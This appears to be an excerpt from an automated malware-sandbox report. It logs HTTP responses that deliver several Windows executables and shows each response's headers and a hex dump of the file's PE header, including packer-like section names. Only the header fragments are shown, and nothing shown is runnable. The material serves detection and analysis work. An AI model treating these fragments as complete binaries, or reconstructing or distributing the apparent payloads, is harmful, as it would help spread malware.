00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:08:31 GMTContent-Type: application/octet-streamContent-Length: 1856000Last-Modified: Wed, 18 Dec 2024 15:28:58 GMTConnection: keep-aliveETag: "6762ea3a-1c5200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 c9 2a 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 40 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 71 61 69 6f 78 72 73 00 d0 19 00 00 80 2f 00 00 cc 19 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6e 68 66 79 76 65 77 00 10 00 00 00 50 49 00 00 04 00 00 00 2c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 49 00 00 22 00 00 00 30 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:08:40 GMTContent-Type: application/octet-streamContent-Length: 2903552Last-Modified: Wed, 18 Dec 2024 15:29:10 GMTConnection: keep-aliveETag: "6762ea46-2c4e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 80 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 4f 00 00 04 00 00 ea c3 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6e 73 67 67 71 6d 6b 70 00 b0 2a 00 00 c0 24 00 00 ac 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 72 65 68 71 75 69 71 00 10 00 00 00 70 4f 00 00 04 00 00 00 28 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4f 00 00 22 00 00 00 2c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:08:51 GMTContent-Type: application/octet-streamContent-Length: 967680Last-Modified: Wed, 18 Dec 2024 15:27:03 GMTConnection: keep-aliveETag: "6762e9c7-ec400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b8 e9 62 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 14 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 0f 00 00 04 00 00 b1 8a 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 d8 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 58 01 00 00 40 0d 00 00 5a 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 a0 0e 00 00 76 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 16:08:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:08:58 GMTContent-Type: application/octet-streamContent-Length: 1731584Last-Modified: Wed, 18 Dec 2024 15:27:30 GMTConnection: keep-aliveETag: "6762e9e2-1a6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 45 00 00 04 00 00 cc 43 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 76 77 75 75 69 77 6c 00 20 1a 00 00 00 2b 00 00 0c 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 65 79 70 75 75 73 71 00 20 00 00 00 20 45 00 00 04 00 00 00 46 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 45 00 00 22 00 00 00 4a 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:09:08 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:09:15 GMTContent-Type: application/octet-streamContent-Length: 2009088Last-Modified: Wed, 18 Dec 2024 15:38:55 GMTConnection: keep-aliveETag: "6762ec8f-1ea800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 d0 4c 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4d 00 00 04 00 00 b6 37 1f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 66 6a 61 6a 6d 70 68 00 30 1a 00 00 90 32 00 00 2a 1a 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 69 6c 74 78 66 64 73 00 10 00 00 00 c0 4c 00 00 04 00 00 00 82 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4c 00 00 22 00 00 00 86 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
